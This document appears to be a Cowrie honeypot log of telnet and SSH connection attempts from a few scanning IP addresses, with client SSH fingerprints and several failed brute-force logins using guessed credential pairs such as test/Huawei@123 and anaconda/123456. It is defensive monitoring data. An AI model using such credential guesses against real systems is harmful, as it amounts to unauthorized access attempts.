{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":40552,"dst_ip":"10.17.0.5","dst_port":23,"session":"0779f8072cc2","protocol":"telnet","message":"New connection: 194.195.250.213:40552 (10.17.0.5:23) [session: 0779f8072cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:46.071813Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:46.472308Z","src_ip":"165.154.5.173","session":"bb0f6edb6aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.697697162628174,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:48.986162Z","src_ip":"194.195.250.213","session":"ec15a929d49e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"4864230eadd9","protocol":"telnet","message":"New connection: 162.253.42.116:48388 (10.17.0.5:23) [session: 4864230eadd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:49.953845Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":57186,"dst_ip":"10.17.0.5","dst_port":23,"session":"986d72878fc0","protocol":"telnet","message":"New connection: 194.195.250.213:57186 (10.17.0.5:23) [session: 986d72878fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:50.079618Z"}
{"eventid":"cowrie.session.closed","duration":34.186922550201416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:50.532524Z","src_ip":"162.253.42.116","session":"bde67f05f8a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":57198,"dst_ip":"10.17.0.5","dst_port":23,"session":"73041d7ffb55","protocol":"telnet","message":"New connection: 194.195.250.213:57198 (10.17.0.5:23) [session: 73041d7ffb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:52.789661Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57086,"dst_ip":"159.203.135.109","dst_port":22,"session":"cda97e5f67d5","protocol":"ssh","message":"New connection: 159.203.92.129:57086 (159.203.135.109:22) [session: cda97e5f67d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:57.708928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:57.713096Z","src_ip":"159.203.92.129","session":"cda97e5f67d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:57.717936Z","src_ip":"159.203.92.129","session":"cda97e5f67d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anacnda3","password":"anacnda3123","message":"login attempt [anacnda3/anacnda3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:57.729787Z","src_ip":"159.203.92.129","session":"cda97e5f67d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:58.735192Z","src_ip":"159.203.92.129","session":"cda97e5f67d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58716,"dst_ip":"10.17.0.5","dst_port":23,"session":"e14f3816d3fb","protocol":"telnet","message":"New connection: 162.253.42.116:58716 (10.17.0.5:23) [session: e14f3816d3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:00.227788Z"}
{"eventid":"cowrie.session.closed","duration":36.43536353111267,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:01.444042Z","src_ip":"162.253.42.116","session":"6963fbf69201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33848,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a80f732f28","protocol":"telnet","message":"New connection: 162.253.42.116:33848 (10.17.0.5:23) [session: 63a80f732f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:05.348368Z"}
{"eventid":"cowrie.session.closed","duration":38.77956175804138,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:07.234847Z","src_ip":"194.195.250.213","session":"39bac1f661de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.45993638038635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:07.781157Z","src_ip":"162.253.42.116","session":"35f846968351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39604,"dst_ip":"10.17.0.5","dst_port":23,"session":"6133699775ed","protocol":"telnet","message":"New connection: 162.253.42.116:39604 (10.17.0.5:23) [session: 6133699775ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:08.179687Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42332,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e70d376006","protocol":"telnet","message":"New connection: 162.253.42.116:42332 (10.17.0.5:23) [session: b9e70d376006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:10.507107Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":55796,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb5cfcb6219","protocol":"telnet","message":"New connection: 194.195.250.213:55796 (10.17.0.5:23) [session: bdb5cfcb6219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:10.686001Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59316,"dst_ip":"10.17.0.5","dst_port":22,"session":"7551fe6777d9","protocol":"ssh","message":"New connection: 102.213.34.99:59316 (10.17.0.5:22) [session: 7551fe6777d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:12.677984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:12.682246Z","src_ip":"102.213.34.99","session":"7551fe6777d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:12.851987Z","src_ip":"102.213.34.99","session":"7551fe6777d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"asdfasdf","message":"login attempt [test/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:13.562005Z","src_ip":"102.213.34.99","session":"7551fe6777d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47976,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e58931be3c3","protocol":"telnet","message":"New connection: 162.253.42.116:47976 (10.17.0.5:23) [session: 1e58931be3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:14.392251Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:14.734696Z","src_ip":"102.213.34.99","session":"7551fe6777d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.71145558357239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:15.361953Z","src_ip":"162.253.42.116","session":"3a43b0e31430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":55810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c822b3472478","protocol":"telnet","message":"New connection: 194.195.250.213:55810 (10.17.0.5:23) [session: c822b3472478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:18.548377Z"}
{"eventid":"cowrie.session.closed","duration":38.77457666397095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:18.626769Z","src_ip":"194.195.250.213","session":"2e0862f57e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.99599289894104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:19.202329Z","src_ip":"194.195.250.213","session":"e8e8d77c6d2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.86500692367554,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:21.766747Z","src_ip":"194.195.250.213","session":"3ab3b3d72ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.719971656799316,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:25.673713Z","src_ip":"162.253.42.116","session":"4864230eadd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.50116753578186,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:26.572854Z","src_ip":"194.195.250.213","session":"0779f8072cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34734,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca1919edb33","protocol":"telnet","message":"New connection: 162.253.42.116:34734 (10.17.0.5:23) [session: dca1919edb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:26.774755Z"}
{"eventid":"cowrie.session.closed","duration":39.16013264656067,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:29.239632Z","src_ip":"194.195.250.213","session":"986d72878fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36838,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5fe88a187dd","protocol":"telnet","message":"New connection: 162.253.42.116:36838 (10.17.0.5:23) [session: e5fe88a187dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:29.681635Z"}
{"eventid":"cowrie.session.closed","duration":38.21090388298035,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:31.000454Z","src_ip":"194.195.250.213","session":"73041d7ffb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8be7c2d29d6","protocol":"telnet","message":"New connection: 194.195.250.213:59086 (10.17.0.5:23) [session: c8be7c2d29d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:33.505388Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59100,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2731544be8","protocol":"telnet","message":"New connection: 194.195.250.213:59100 (10.17.0.5:23) [session: be2731544be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:34.358724Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9bf600ecfaf","protocol":"telnet","message":"New connection: 194.195.250.213:59106 (10.17.0.5:23) [session: d9bf600ecfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:35.921432Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44850,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9e547b14898","protocol":"telnet","message":"New connection: 162.253.42.116:44850 (10.17.0.5:23) [session: d9e547b14898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:36.551642Z"}
{"eventid":"cowrie.session.closed","duration":36.385777950286865,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:36.613426Z","src_ip":"162.253.42.116","session":"e14f3816d3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":39602,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ea00d3f807","protocol":"ssh","message":"New connection: 165.154.5.173:39602 (10.17.0.5:22) [session: 08ea00d3f807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:38.094575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:38.099326Z","src_ip":"165.154.5.173","session":"08ea00d3f807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:38.332601Z","src_ip":"165.154.5.173","session":"08ea00d3f807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Huawei@123","message":"login attempt [test/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:39.227284Z","src_ip":"165.154.5.173","session":"08ea00d3f807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:40.445730Z","src_ip":"165.154.5.173","session":"08ea00d3f807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":43182,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8c8fcf7ad6","protocol":"telnet","message":"New connection: 194.195.250.213:43182 (10.17.0.5:23) [session: 0d8c8fcf7ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:40.758620Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":43170,"dst_ip":"10.17.0.5","dst_port":23,"session":"284734f55632","protocol":"telnet","message":"New connection: 194.195.250.213:43170 (10.17.0.5:23) [session: 284734f55632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:41.656682Z"}
{"eventid":"cowrie.session.closed","duration":34.27698278427124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:42.456543Z","src_ip":"162.253.42.116","session":"6133699775ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71275210380554,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:43.060973Z","src_ip":"162.253.42.116","session":"63a80f732f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46446,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d3cc30f87e","protocol":"ssh","message":"New connection: 159.203.92.129:46446 (159.203.135.109:22) [session: b6d3cc30f87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:43.192323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:43.198031Z","src_ip":"159.203.92.129","session":"b6d3cc30f87e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:43.203146Z","src_ip":"159.203.92.129","session":"b6d3cc30f87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anaconda","password":"123456","message":"login attempt [anaconda/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:43.337873Z","src_ip":"159.203.92.129","session":"b6d3cc30f87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:44.344790Z","src_ip":"159.203.92.129","session":"b6d3cc30f87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39665365219116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:44.903582Z","src_ip":"162.253.42.116","session":"b9e70d376006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.741554260253906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:48.133628Z","src_ip":"162.253.42.116","session":"1e58931be3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.15506315231323,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:49.840945Z","src_ip":"194.195.250.213","session":"bdb5cfcb6219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":36100,"dst_ip":"10.17.0.5","dst_port":23,"session":"2053b8d10062","protocol":"telnet","message":"New connection: 194.195.250.213:36100 (10.17.0.5:23) [session: 2053b8d10062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:19:52.975163Z"}
